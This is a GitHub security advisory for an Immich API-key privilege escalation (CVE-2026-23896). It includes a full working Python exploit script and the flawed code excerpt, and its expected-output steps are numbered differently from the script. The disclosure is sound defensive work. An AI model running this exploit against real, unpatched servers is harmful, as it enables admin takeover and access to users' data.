Skip to content

API Key Privilege Escalation

High
jrasm91 published GHSA-237r-x578-h5mv Jan 29, 2026

Package

docker immich-server (Docker)

Affected versions

< 2.4.1

Patched versions

>= 2.5.0

Description

API Key Privilege Escalation

Summary

API keys can escalate their own permissions by calling the update endpoint, allowing a low-privilege API key to grant itself full administrative access to the system.

Details

The update method in api-key.service.ts allows an API key to modify its own permissions without verifying the caller has authority to grant those permissions.

async update(auth: AuthDto, id: string, dto: APIKeyUpdateDto) {
  // ... only checks if key exists
  // BUG: No check that auth.apiKey has all permissions in dto.permissions
  const key = await this.apiKeyRepository.update(...);
}

The create method correctly validates permissions:

if (auth.apiKey && !isGranted({ requested: dto.permissions, current: auth.apiKey.permissions })) {
  throw new BadRequestException('Cannot grant permissions you do not have');
}

This same check is missing in the update method.

PoC

The PoC assumes immich is running and available on port 2283 and is empty.
If that's not the case, update the ADMIN_EMAIL, ADMIN_PASSWORD variable at the top.

# Run exploit
uv run exploit.py
#!/usr/bin/env -S uv run --quiet --script
# /// script
# requires-python = ">=3.12"
# dependencies = ["requests"]
# ///
"""
Immich API Key Privilege Escalation PoC

Demonstrates that an API key with limited permissions can escalate itself
to full system access by updating its own permissions.
"""

import sys
import time

import requests

BASE_URL = "http://localhost:2283/api"
ADMIN_EMAIL = "admin@example.com"
ADMIN_PASSWORD = "admin123456"


def main():
    # Step 1: Seed by creating an admin
    print("Step 1: Seed by creating an admin")
    for _ in range(30):
        try:
            if requests.get(f"{BASE_URL}/server/ping", timeout=2).status_code == 200:
                break
        except requests.exceptions.ConnectionError:
            time.sleep(2)
    else:
        print("Server not ready")
        sys.exit(1)

    r = requests.get(f"{BASE_URL}/server/config")
    if not r.json().get("isInitialized"):
        requests.post(
            f"{BASE_URL}/auth/admin-sign-up",
            json={"email": ADMIN_EMAIL, "password": ADMIN_PASSWORD, "name": "Admin"},
        ).raise_for_status()

    r = requests.post(
        f"{BASE_URL}/auth/login",
        json={"email": ADMIN_EMAIL, "password": ADMIN_PASSWORD},
    )
    r.raise_for_status()
    admin_token = r.json()["accessToken"]
    print("Admin created and logged in")

    # Step 2: Create a limited API key (only apiKey.read and apiKey.update)
    print("\nStep 2: Create a limited API key (only apiKey.read and apiKey.update)")
    r = requests.post(
        f"{BASE_URL}/api-keys",
        headers={"Authorization": f"Bearer {admin_token}"},
        json={"name": "Limited Key", "permissions": ["apiKey.read", "apiKey.update"]},
    )
    r.raise_for_status()
    key_id = r.json()["apiKey"]["id"]
    api_key = r.json()["secret"]
    print(f"Created API key: {key_id}")

    # Step 3: Try to create an album (should fail - no album.create permission)
    print("\nStep 3: Try to create an album (should fail - no album.create permission)")
    r = requests.post(
        f"{BASE_URL}/albums",
        headers={"x-api-key": api_key},
        json={"albumName": "Test Album"},
    )
    print(f"Status: {r.status_code} (expected 403)")
    assert r.status_code == 403, f"Expected 403, got {r.status_code}"

    # Step 4: Escalate permissions by updating the API key to have 'all' permissions
    print("\nStep 4: Escalate permissions by updating the API key to have 'all' permissions")
    r = requests.put(
        f"{BASE_URL}/api-keys/{key_id}",
        headers={"x-api-key": api_key},
        json={"name": "Escalated Key", "permissions": ["all"]},
    )
    print(f"Status: {r.status_code}")
    assert r.status_code == 200, f"Expected 200, got {r.status_code}"
    print(f"New permissions: {r.json()['permissions']}")

    # Step 5: Try to create an album again (should succeed now)
    print("\nStep 5: Try to create an album again (should succeed now)")
    r = requests.post(
        f"{BASE_URL}/albums",
        headers={"x-api-key": api_key},
        json={"albumName": "Test Album"},
    )
    print(f"Status: {r.status_code} (expected 201)")
    assert r.status_code == 201, f"Expected 201, got {r.status_code}"

    print("\nPRIVILEGE ESCALATION SUCCESSFUL")


if __name__ == "__main__":
    main()

Expected Output:

Step 4: Demonstrating LIMITED permissions
  [INFO] Attempting to create an album with limited API key...
  [OK] Correctly denied (status 403)

Step 5: EXPLOITING the vulnerability
  [OK] Permissions escalated! (status 200)

Step 6: Demonstrating ESCALATED permissions
  [OK] Album created (status 201)

  PRIVILEGE ESCALATION SUCCESSFUL!

Impact

Any user with the ability to create an API key (even with minimal permissions) can escalate that key to have full administrative permissions. This allows complete account takeover and access to all user data and administrative functions.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-23896

Weaknesses

Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Learn more on MITRE.

Credits